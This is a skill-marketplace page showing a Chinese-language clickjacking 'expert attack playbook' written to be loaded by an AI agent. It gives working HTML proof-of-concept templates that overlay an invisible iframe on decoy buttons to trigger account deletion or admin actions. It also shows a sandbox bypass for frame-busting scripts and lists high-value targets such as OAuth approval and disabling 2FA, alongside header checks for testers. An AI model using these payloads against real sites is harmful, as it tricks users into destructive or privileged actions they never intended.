clickjacking

clickjacking

熱門

Clickjacking 戰術手冊。當需要測試目標頁面是否可被嵌入 frame、X-Frame-Options 或 CSP frame-ancestors 是否設定妥當,以及 UI 重繪(redress)攻擊是否能觸發敏感動作時使用。

1528星標
197分支
更新於 2026/6/16
SKILL.md
唯讀
名稱
clickjacking
描述

Clickjacking 戰術手冊。當需要測試目標頁面是否可被嵌入 frame、X-Frame-Options 或 CSP frame-ancestors 是否設定妥當,以及 UI 重繪(redress)攻擊是否能觸發敏感動作時使用。

SKILL: Clickjacking — 專家級攻擊戰術手冊

AI 載入指引:Clickjacking(UI 重繪 / UI redress)技術。涵蓋 iframe 透明度技巧、X-Frame-Options 繞過、CSP frame-ancestors、多步驟 Clickjacking、拖放(drag-and-drop)攻擊以及與其他漏洞的鏈接組合。通常被視為「低風險」發現,但在針對管理員操作時會轉變為高危漏洞。

1. 核心概念

Clickjacking 會將目標頁面載入到覆蓋在攻擊者頁面上的透明 iframe 中。受害者看到的是攻擊者的 UI,但點擊的卻是看不見的目標頁面,進而執行非預期的操作。

<style>
  iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
  .decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>

2. 檢測 — 頁面是否可被 Frame 嵌入?

檢查 X-Frame-Options 標頭

X-Frame-Options: DENY           → 無法被嵌入 frame(安全)
X-Frame-Options: SAMEORIGIN     → 僅限同源嵌入 frame(對跨源安全)
X-Frame-Options: ALLOW-FROM uri → 已廢棄,瀏覽器支援度不一致
(缺少標頭)                      → 可被嵌入 frame!(存在漏洞)

檢查 CSP frame-ancestors

Content-Security-Policy: frame-ancestors 'none'        → 無法被嵌入 frame
Content-Security-Policy: frame-ancestors 'self'         → 僅限同源
Content-Security-Policy: frame-ancestors https://a.com  → 指定來源
(缺少指令)                                               → 可被嵌入 frame

在現代瀏覽器中,CSP frame-ancestors 優先權高於 X-Frame-Options

快速 PoC 測試

<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>

若頁面可在 iframe 中載入 → 可被嵌入 frame → 潛在存在漏洞。

JavaScript Frame 檢測(來自目標頁面原始碼)

// 目標頁面中常見的 frame-busting 程式碼:
if (top.location.hostname !== self.location.hostname) {
    top.location.href = self.location.href;
}

若存在此程式碼但未搭配使用 CSP frame-ancestors,通常可以被繞過。


3. 概念驗證(PoC)範本

基本單次點擊

<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
  iframe { position: absolute; top: 300px; left: 60px;
           width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>

多步驟 Clickjacking

針對需要多次點擊的操作(例如「您確定嗎?」確認視窗):

<div id="step1">
  <button onclick="document.getElementById('step1').style.display='none';
                    document.getElementById('step2').style.display='block';">
    Step 1: Click here
  </button>
</div>
<div id="step2" style="display:none">
  <button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>

在每個步驟重新調整 iframe 的位置,使透明按鈕與誘餌按鈕對齊。

拖放式 Clickjacking

利用 HTML5 拖放事件在不同的 iframe 之間擷取資料 — 受害者在看不見的 iframe 上進行拖放,進而傳輸權限 Token 或資料。


4. 繞過技術

繞過 Frame-Busting 腳本

某些頁面使用 JavaScript 進行 frame-busting:

if (top !== self) { top.location = self.location; }

使用 sandbox 屬性繞過

<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- 不包含 allow-top-navigation 的 sandbox 可以阻止 frame-busting -->

繞過 X-Frame-Options ALLOW-FROM

Chrome 與 Safari 不支援 ALLOW-FROM。若伺服器完全依賴 ALLOW-FROM,現代瀏覽器會忽略它 → 頁面變得可被嵌入 frame。

雙層 Frame 嵌入 (Double-Framing)

如果設定了 X-Frame-Options: SAMEORIGIN,但存在一個同源頁面可以被嵌入 frame(且未設定 XFO),則可利用該頁面作為中介來嵌入目標頁面。


5. 高風險目標

帳號刪除頁面
電子郵件/密碼變更表單
管理員面板操作(新增使用者、變更角色)
付款確認
OAuth 授權(「允許」按鈕)
停用雙重驗證(2FA)
API 金鑰生成
Webhook 設定

6. 測試檢查清單

□ 檢查敏感頁面上的 X-Frame-Options 標頭
□ 檢查 CSP frame-ancestors 指令
□ 建立 iframe PoC 並驗證頁面是否能正常載入
□ 測試 frame-busting 腳本 — 嘗試利用 sandbox 屬性繞過
□ 找出高價值的單次點擊操作
□ 針對多步驟操作,建立多點擊 PoC
□ 同時測試已驗證身份與未驗證身份的頁面
□ 在不同瀏覽器中驗證 ALLOW-FROM 的行為